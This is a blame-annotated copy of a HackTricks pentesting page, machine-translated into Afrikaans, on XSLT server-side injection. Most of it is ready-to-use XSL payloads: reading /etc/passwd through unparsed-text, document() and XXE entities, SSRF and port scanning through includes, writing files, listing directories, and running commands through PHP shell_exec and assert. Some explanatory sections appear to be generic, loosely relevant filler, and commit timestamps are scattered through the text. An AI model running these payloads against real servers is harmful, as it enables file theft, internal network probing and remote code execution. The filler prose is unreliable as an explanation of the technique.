hacktricks/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md

497 lines
25 KiB
Markdown
Raw Normal View History

2024-02-11 02:07:06 +00:00
# XSLT-bedienerkant-inspuiting (Uitbreibare Stylbladtaal Transformasies)
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:07:06 +00:00
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
2022-04-28 16:01:33 +00:00
</details>
2024-02-11 02:07:06 +00:00
## Basiese Inligting
2024-02-11 02:07:06 +00:00
XSLT is 'n tegnologie wat gebruik word om XML-dokumente na verskillende formate te transformeer. Dit kom in drie weergawes voor: 1, 2 en 3, waarvan weergawe 1 die mees algemeen gebruik word. Die transformasieproses kan óf op die bediener óf binne die blaaier uitgevoer word.
2024-02-11 02:07:06 +00:00
Die raamwerke wat die meeste gebruik word, sluit in:
2024-02-06 03:10:38 +00:00
2024-02-11 02:07:06 +00:00
- **Libxslt** van Gnome,
- **Xalan** van Apache,
- **Saxon** van Saxonica.
2024-02-06 03:10:38 +00:00
2024-02-11 02:07:06 +00:00
Vir die uitbuiting van kwesbaarhede wat verband hou met XSLT, is dit nodig dat xsl-etikette aan die bedienerkant gestoor word, gevolg deur toegang tot daardie inhoud. 'n Voorbeeld van so 'n kwesbaarheid word gedokumenteer in die volgende bron: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/).
2021-06-07 11:31:39 +00:00
2024-02-11 02:07:06 +00:00
## Voorbeeld - Tutoriaal
2022-10-03 13:43:01 +00:00
```bash
2021-06-07 11:31:39 +00:00
sudo apt-get install default-jdk
2022-10-03 13:43:01 +00:00
sudo apt-get install libsaxonb-java libsaxon-java
2021-06-07 11:31:39 +00:00
```
{% code title="xml.xml" %}
2024-02-06 03:10:38 +00:00
```xml
2021-06-07 11:31:39 +00:00
<?xml version="1.0" encoding="UTF-8"?>
<catalog>
2024-02-11 02:07:06 +00:00
<cd>
<title>CD Title</title>
<artist>The artist</artist>
<company>Da Company</company>
<price>10000</price>
<year>1760</year>
</cd>
2021-06-07 11:31:39 +00:00
</catalog>
```
{% code title="xsl.xsl" %}
2024-02-06 03:10:38 +00:00
```xml
2021-06-07 11:31:39 +00:00
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
2024-02-11 02:07:06 +00:00
<html>
<body>
<h2>The Super title</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>Title</th>
<th>artist</th>
</tr>
<tr>
<td><xsl:value-of select="catalog/cd/title"/></td>
<td><xsl:value-of select="catalog/cd/artist"/></td>
</tr>
</table>
</body>
</html>
2021-06-07 11:31:39 +00:00
</xsl:template>
</xsl:stylesheet>
```
{% endcode %}
2024-02-11 02:07:06 +00:00
Uitvoer:
2024-02-06 03:10:38 +00:00
```xml
saxonb-xslt -xsl:xsl.xsl xml.xml
2024-02-11 02:07:06 +00:00
2021-06-07 11:31:39 +00:00
Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl:
2024-02-11 02:07:06 +00:00
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
2021-06-07 11:31:39 +00:00
<html>
2024-02-11 02:07:06 +00:00
<body>
<h2>The Super title</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>Title</th>
<th>artist</th>
</tr>
<tr>
<td>CD Title</td>
<td>The artist</td>
</tr>
</table>
</body>
2021-06-07 11:31:39 +00:00
</html>
```
2024-02-11 02:07:06 +00:00
### Vingerafdruk
2021-06-07 11:31:39 +00:00
{% code title="detection.xsl" %}
2024-02-06 03:10:38 +00:00
```xml
2022-10-03 13:43:01 +00:00
<?xml version="1.0" encoding="ISO-8859-1"?>
2021-06-07 11:31:39 +00:00
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
2024-02-11 02:07:06 +00:00
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
2022-10-03 13:43:01 +00:00
/><br />
2024-02-11 02:07:06 +00:00
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
2022-10-03 13:43:01 +00:00
/><br />
2024-02-11 02:07:06 +00:00
</xsl:if>
2021-06-07 11:31:39 +00:00
</xsl:template>
</xsl:stylesheet>
```
{% endcode %}
2024-02-11 02:07:06 +00:00
En voer uit
2024-02-06 03:10:38 +00:00
```xml
2024-02-11 02:07:06 +00:00
$saxonb-xslt -xsl:detection.xsl xml.xml
2021-06-07 11:31:39 +00:00
Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
2024-02-11 02:07:06 +00:00
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
2021-06-07 11:31:39 +00:00
<h2>XSLT identification</h2><b>Version:</b>2.0<br><b>Vendor:</b>SAXON 9.1.0.8 from Saxonica<br><b>Vendor URL:</b>http://www.saxonica.com/<br>
```
2024-02-11 02:07:06 +00:00
### Lees Plaaslike Lêer
2021-06-07 11:31:39 +00:00
2024-02-11 02:07:06 +00:00
{% code title="lees.xsl" %}
2024-02-06 03:10:38 +00:00
```xml
2021-06-07 11:31:39 +00:00
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
</xsl:template>
</xsl:stylesheet>
```
{% endcode %}
2024-02-06 03:10:38 +00:00
```xml
2021-06-07 11:31:39 +00:00
$ saxonb-xslt -xsl:read.xsl xml.xml
Warning: at xsl:stylesheet on line 1 column 111 of read.xsl:
2024-02-11 02:07:06 +00:00
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
2021-06-07 11:31:39 +00:00
<?xml version="1.0" encoding="UTF-8"?>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
```
2022-10-03 13:43:01 +00:00
### SSRF
2021-06-07 11:31:39 +00:00
2024-02-11 02:07:06 +00:00
Server-Side Request Forgery (SSRF) is 'n aanvalstegniek wat gebruik maak van 'n kwesbare webtoepassing om 'n aanvaller toe te laat om versoek na ander interne of eksterne hulpbronne te stuur. Hierdie aanval kan gebruik word om gevoelige inligting te ontsluit, interne stelsels te skandeer of selfs om toegang tot die interne netwerk te verkry.
SSRF-aanvalle kan plaasvind as gevolg van swak verifikasie van gebruikersinsette, onvoldoende beperkings op die toegang tot hulpbronne of die gebruik van onbetroubare protokolle soos file:// of gopher://. Die aanvaller kan die webtoepassing dwing om versoek na 'n spesifieke URL te stuur, wat kan lei tot die blootstelling van gevoelige inligting of die uitvoering van verdere aanvalle.
Om SSRF-aanvalle te voorkom, moet ontwikkelaars gebruikersinsette behoorlik verifieer en valideringstoetse implementeer om te verseker dat slegs geldige en veilige URL's gebruik word. Daar moet ook beperkings geplaas word op die toegang tot interne hulpbronne en die gebruik van onbetroubare protokolle moet vermy word.
As 'n pentester kan jy SSRF-aanvalle identifiseer deur die toepassing te skandeer vir moontlike kwesbaarhede, soos onvoldoende verifikasie van gebruikersinsette of die gebruik van onbetroubare protokolle. Jy kan ook probeer om toegang tot interne hulpbronne te verkry deur spesifieke URL's te stuur en te kyk of die toepassing dit aanvaar en reageer.
Dit is belangrik om bewus te wees van die risiko's van SSRF-aanvalle en om toepassings behoorlik te beveilig om hierdie tipe aanvalle te voorkom.
2024-02-06 03:10:38 +00:00
```xml
2021-06-07 11:31:39 +00:00
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:include href="http://127.0.0.1:8000/xslt"/>
<xsl:template match="/">
</xsl:template>
</xsl:stylesheet>
```
2024-02-11 02:07:06 +00:00
### Weergawes
2021-06-07 11:31:39 +00:00
2024-02-11 02:07:06 +00:00
Daar kan meer of minder funksies wees, afhangende van die gebruikte XSLT-weergawe:
2021-06-07 11:31:39 +00:00
* [https://www.w3.org/TR/xslt-10/](https://www.w3.org/TR/xslt-10/)
* [https://www.w3.org/TR/xslt20/](https://www.w3.org/TR/xslt20/)
* [https://www.w3.org/TR/xslt-30/](https://www.w3.org/TR/xslt-30/)
2024-02-11 02:07:06 +00:00
## Vingerafdruk
2024-02-11 02:07:06 +00:00
Laai dit op en neem inligting
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
2024-02-11 02:07:06 +00:00
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
2024-02-11 02:07:06 +00:00
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
2024-02-11 02:07:06 +00:00
</xsl:if>
</xsl:template>
</xsl:stylesheet>
```
2022-10-03 13:43:01 +00:00
## SSRF
2020-09-04 15:35:33 +00:00
2024-02-11 02:07:06 +00:00
SSRF (Server-Side Request Forgery) is 'n aanvalstegniek wat gebruik word om 'n webbediener te mislei om afgelope aanvrae na ander interne hulpbronne te stuur. Dit kan gebruik word om gevoelige inligting te onttrek, interne netwerktoegang te verkry of selfs om aanvalle teen ander stelsels uit te voer.
SSRF-aanvalle kan voorkom as 'n gevolg van swak verifikasie van gebruikersinsette, waar die aanvaller 'n URL kan insluit wat verwys na 'n interne hulpbron. Die webbediener sal dan die aanvraag na die opgegee URL stuur, sonder om te besef dat dit 'n interne hulpbron is.
Om 'n SSRF-aanval uit te voer, moet die aanvaller 'n kwesbare webtoepassing vind wat die aanvraag na 'n URL stuur sonder behoorlike verifikasie. Die aanvaller kan dan 'n spesiaal ontwerpte URL insluit wat verwys na 'n interne hulpbron wat hy wil aanval.
Daar is verskeie maniere waarop 'n aanvaller 'n SSRF-aanval kan uitvoer, insluitend die gebruik van protokolmanipulasie, IP-adresmanipulasie en die gebruik van interne IP-adresse of privaat netwerkadressering.
Om 'n webtoepassing teen SSRF-aanvalle te beskerm, is dit belangrik om gebruikersinsette behoorlik te verifieer en te valideer voordat dit gebruik word om 'n aanvraag na 'n URL te stuur. Dit sluit in die beperking van toegang tot interne hulpbronne en die gebruik van 'n witlysbenadering vir toegelate URL's.
2024-02-06 03:10:38 +00:00
```xml
2020-09-04 15:35:33 +00:00
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
</esi:include>
```
2024-02-11 02:07:06 +00:00
## Javascript Injeksie
Javascript-injeksie is 'n tegniek wat gebruik word deur hackers om kwaadwillige Javascript-kode in 'n webwerf in te spuit. Hierdie kode word dan uitgevoer wanneer 'n gebruiker die geïnfekteerde webwerf besoek. Die doel van hierdie aanval is gewoonlik om sensitiewe inligting te steel, gebruikers te mislei of skadelike aksies op die webwerf uit te voer.
2020-09-04 15:35:33 +00:00
2024-02-11 02:07:06 +00:00
Daar is verskillende metodes vir Javascript-injeksie, insluitend:
2024-02-11 02:07:06 +00:00
- **Cross-site Scripting (XSS)**: Hierdie aanval maak gebruik van swakheid in die webwerf se invoervalidasie om kwaadwillige skrips in te spuit wat dan deur die webwerf aan ander gebruikers gestuur word.
- **DOM-manipulasie**: Hierdie aanval maak gebruik van die Document Object Model (DOM) van 'n webwerf om die inhoud van die webwerf te verander of skadelike aksies uit te voer.
- **Event Handlers**: Hierdie aanval maak gebruik van skadelike skrips wat aan gebeurtenishandelaars gekoppel is, soos 'n knoppie klik of 'n vorm indiening, om skadelike aksies uit te voer.
- **Javascript URI**: Hierdie aanval maak gebruik van 'n spesiale URI-skema om kwaadwillige Javascript-kode uit te voer wanneer 'n gebruiker daarop klik.
Om jou webwerf teen Javascript-injeksie te beskerm, moet jy behoorlike invoervalidasie implementeer, gebruikersinsette korrek skoonmaak en veilige programmeerpraktyke volg. Dit sluit in die gebruik van veilige biblioteke en raamwerke, die beperking van die gebruik van eval() en die korrekte hantering van gebruikersinsette.
2024-02-06 03:10:38 +00:00
```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<script>confirm("We're good");</script>
</xsl:template>
</xsl:stylesheet>
```
2024-02-11 02:07:06 +00:00
## Gidslys (PHP)
2022-10-03 13:43:01 +00:00
### **Opendir + readdir**
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('opendir','/path/to/dir')"/>
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
</xsl:template></xsl:stylesheet>
```
2022-10-03 13:43:01 +00:00
### **Assert (var\_dump + scandir + false)**
2024-02-11 02:07:06 +00:00
### **Beweer (var\_dump + scandir + vals)**
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
2024-02-11 02:07:06 +00:00
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" />
<br />
</body>
</html>
```
2024-02-11 02:07:06 +00:00
## Lees lêers
2024-02-11 02:07:06 +00:00
### **Intern - PHP**
2024-02-06 03:10:38 +00:00
```xml
2021-06-07 11:31:39 +00:00
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', utf-8')"/>
</xsl:template>
</xsl:stylesheet>
```
2024-02-11 02:07:06 +00:00
### **Intern - XXE**
2021-06-07 11:31:39 +00:00
2024-02-11 02:07:06 +00:00
XXE (Eksterne Entiteitsinjeksie) is 'n aanvalstegniek wat gebruik word om 'n aanvaller toe te laat om eksterne entiteite in 'n XML-dokument in te sluit. Hierdie aanval kan gebruik word om gevoelige inligting te verkry, die bediener te vertraag of selfs om 'n DoS-aanval (Denial of Service) uit te voer.
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
&ext_file;
</xsl:template>
</xsl:stylesheet>
```
2024-02-11 02:07:06 +00:00
### **Deur middel van HTTP**
XSLT Server Side Injection (SSI) is 'n aanvalstegniek wat gebruik maak van die Extensible Stylesheet Language Transformations (XSLT) om kwaadwillige kode uit te voer op 'n webbediener. Hierdie aanvalstegniek maak gebruik van 'n kwesbaarheid in die verwerking van XSLT-stylesheets deur die webbediener.
Om 'n XSLT SSI-aanval uit te voer, moet jy 'n spesiaal ontwerpte XSLT-stylesheet skep wat kwaadwillige kode bevat. Hierdie stylesheet moet dan aan die webbediener gestuur word deur middel van 'n HTTP-aanvraag. Die webbediener sal die stylesheet verwerk en die kwaadwillige kode uitvoer, wat jou toelaat om die webbediener te manipuleer en toegang te verkry tot sensitiewe inligting of verdere aanvalle uit te voer.
Dit is belangrik om te verstaan dat XSLT SSI-aanvalle slegs suksesvol sal wees as die webbediener XSLT-stylesheets verwerk en uitvoer. Nie alle webbedieners ondersteun hierdie funksionaliteit nie, dus moet jy eers vasstel of die teikensisteem vatbaar is vir hierdie tipe aanval.
2024-02-11 02:07:06 +00:00
Om 'n XSLT SSI-aanval uit te voer, kan jy die volgende stappe volg:
2024-02-11 02:07:06 +00:00
1. Identifiseer die teikensisteem se ondersteuning vir XSLT-verwerking deur die HTTP-responskoppe te ondersoek. Kyk vir die "Content-Type" -kop wat aandui of die webbediener XSLT-stylesheets verwerk.
2. Skep 'n kwaadwillige XSLT-stylesheet wat die gewenste aksies uitvoer, soos die oproep van 'n eksterne bron of die lees van lêers op die bediener.
3. Stuur die kwaadwillige XSLT-stylesheet na die teikensisteem deur middel van 'n HTTP-aanvraag. Maak seker dat die aanvraag die korrekte MIME-tipe vir XSLT-stylesheets bevat.
4. Monitor die webbediener se respons om te sien of die kwaadwillige kode uitgevoer word. As dit gebeur, het jy suksesvol 'n XSLT SSI-aanval uitgevoer.
Dit is belangrik om hierdie aanvalstegniek verantwoordelik te gebruik en slegs op stelsels toe te pas waarvoor jy toestemming het om te toets. Misbruik van hierdie tegniek kan lei tot ernstige regskonsekwensies.
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
```
2024-02-06 03:10:38 +00:00
```xml
<!DOCTYPE xsl:stylesheet [
<!ENTITY passwd SYSTEM "file:///etc/passwd" >]>
<xsl:template match="/">
&passwd;
</xsl:template>
```
2024-02-11 02:07:06 +00:00
### **Intern (PHP-funksie)**
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('file_get_contents','/path/to/file')"/>
</xsl:template>
</xsl:stylesheet>
```
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
2024-02-11 02:07:06 +00:00
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" />
<br />
</body>
</html>
```
2024-02-11 02:07:06 +00:00
### Poortskandering
2024-02-11 02:07:06 +00:00
'n Poortskandering is 'n tegniek wat gebruik word om die veiligheid van 'n netwerk te ondersoek deur die poorte van 'n stelsel te ondersoek vir oop of geslote statusse. Dit behels die stuur van verskeie verbindingsversoeke na die poorte van 'n stelsel om te bepaal watter poorte aktief is en watter dienste daarop beskikbaar is. Hierdie inligting kan gebruik word om potensiële swakpunte in die netwerk te identifiseer en te verhelp. 'n Poortskandering kan uitgevoer word met behulp van verskeie sagtewarehulpmiddels, soos Nmap, om die poorte van 'n stelsel te skandeer en die resultate te analiseer.
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="document('http://example.com:22')"/>
</xsl:template>
</xsl:stylesheet>
```
2024-02-11 02:07:06 +00:00
## Skryf na 'n lêer
2022-10-03 13:43:01 +00:00
### XSLT 2.0
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:result-document href="local_file.txt">
<xsl:text>Write Local File</xsl:text>
</xsl:result-document>
</xsl:template>
</xsl:stylesheet>
```
2024-02-11 02:07:06 +00:00
### **Xalan-J-uitbreiding**
Die Xalan-J-uitbreiding is 'n kragtige instrument wat gebruik kan word vir XSLT-serverkant-injeksie. Hierdie tegniek maak gebruik van die Xalan-J-biblioteek, wat 'n implementering van die Extensible Stylesheet Language Transformations (XSLT) is, om kwaadwillige kode uit te voer op die bedoelde bediener.
#### **Hoe werk dit?**
Die Xalan-J-uitbreiding maak gebruik van die XSLT-verwerker om 'n aangepaste XSLT-stylvel te skep wat kwaadwillige instruksies bevat. Hierdie stylvel word dan aan die bediener gestuur vir verwerking. Die bediener, wat die Xalan-J-biblioteek gebruik, sal die stylvel interpreteer en die kwaadwillige instruksies uitvoer.
2024-02-11 02:07:06 +00:00
#### **Voorbeelde van Xalan-J-uitbreiding**
2024-02-11 02:07:06 +00:00
Hier is 'n paar voorbeelde van hoe die Xalan-J-uitbreiding gebruik kan word vir aanvalle:
1. **Databasisinjeksie**: Die Xalan-J-uitbreiding kan gebruik word om kwaadwillige SQL-instruksies in te sluit in die aangepaste XSLT-stylvel. Hierdie instruksies kan dan uitgevoer word op die databasis wat deur die bediener gebruik word.
2. **Lêerweergawe**: Die Xalan-J-uitbreiding kan gebruik word om lêers van die bediener te lees en hulle inhoud terug te stuur na die aanvaller. Dit kan gevoelige inligting soos wagwoorde, konfigurasie-lêers en ander belangrike data blootstel.
3. **Uitvoering van stelseloproepe**: Die Xalan-J-uitbreiding kan gebruik word om stelseloproepe op die bediener uit te voer. Dit kan die aanvaller toelaat om beheer oor die bediener te verkry en verskeie kwaadwillige aksies uit te voer.
#### **Beskerming teen Xalan-J-uitbreiding**
Om te beskerm teen Xalan-J-uitbreiding, kan die volgende maatreëls geneem word:
1. **Bepaalde toegang**: Beperk die toegang tot die Xalan-J-biblioteek en beperk die vermoë van die bediener om aangepaste XSLT-stylvelle te verwerk.
2. **Invoervalidasie**: Voer streng invoervalidasie uit om te verseker dat slegs geldige en veilige invoer aanvaar word.
3. **Sekuriteitspatches**: Verseker dat die bediener opgedateer is met die nuutste sekuriteitspatches om bekende kwesbaarhede te vermy.
4. **Sekuriteitsbewustheid**: Verskaf opleiding aan ontwikkelaars en beheerders oor die risiko's van Xalan-J-uitbreiding en hoe om dit te voorkom.
Deur hierdie maatreëls te implementeer, kan die risiko van Xalan-J-uitbreiding verminder word en die veiligheid van die bediener verhoog word.
2024-02-06 03:10:38 +00:00
```xml
<xsl:template match="/">
<redirect:open file="local_file.txt"/>
<redirect:write file="local_file.txt"/> Write Local File</redirect:write>
<redirect:close file="loxal_file.txt"/>
</xsl:template>
```
2024-02-11 02:07:06 +00:00
Ander maniere om lêers in die PDF te skryf
2024-02-11 02:07:06 +00:00
## Sluit eksterne XSL in
2024-02-06 03:10:38 +00:00
```xml
<xsl:include href="http://extenal.web/external.xsl"/>
```
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" ?>
<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>
```
2024-02-11 02:07:06 +00:00
## Voer kode uit
2022-10-03 13:43:01 +00:00
### **php:function**
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('shell_exec','sleep 10')" />
</xsl:template>
</xsl:stylesheet>
```
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)));')" />
<br />
</body>
</html>
```
2024-02-11 02:07:06 +00:00
Voer kode uit deur ander raamwerke in die PDF te gebruik
2024-02-11 02:07:06 +00:00
### **Meer tale**
2024-02-11 02:07:06 +00:00
**Op hierdie bladsy kan jy voorbeelde van RCE in ander tale vind:** [**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET) **(C#, Java, PHP)**
2020-09-04 18:29:25 +00:00
2024-02-11 02:07:06 +00:00
## **Kry toegang tot PHP statiese funksies vanaf klasse**
2021-06-07 12:06:44 +00:00
2024-02-11 02:07:06 +00:00
Die volgende funksie sal die statiese metode `stringToUrl` van die klas XSL aanroep:
2024-02-06 03:10:38 +00:00
```xml
2021-06-07 12:06:44 +00:00
<!--- More complex test to call php class function-->
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"
version="1.0">
<xsl:output method="html" version="XHTML 1.0" encoding="UTF-8" indent="yes" />
<xsl:template match="root">
<html>
<!-- We use the php suffix to call the static class function stringToUrl() -->
<xsl:value-of select="php:function('XSL::stringToUrl','une_superstring-àÔ|modifier')" />
<!-- Output: 'une_superstring ao modifier' -->
</html>
</xsl:template>
</xsl:stylesheet>
```
2024-02-11 02:07:06 +00:00
(Voorbeeld van [http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls](http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls))
2021-06-07 12:06:44 +00:00
2024-02-11 02:07:06 +00:00
## Meer Payloads
* Kontroleer [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection)
* Kontroleer [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection)
2024-02-06 03:10:38 +00:00
2024-02-11 02:07:06 +00:00
## **Lys vir Brute-Force Deteksie**
2021-06-27 21:56:13 +00:00
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %}
2021-06-27 21:56:13 +00:00
2024-02-11 02:07:06 +00:00
## **Verwysings**
2022-10-03 13:43:01 +00:00
* [XSLT\_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT\_SSRF.pdf)\\
* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)\\
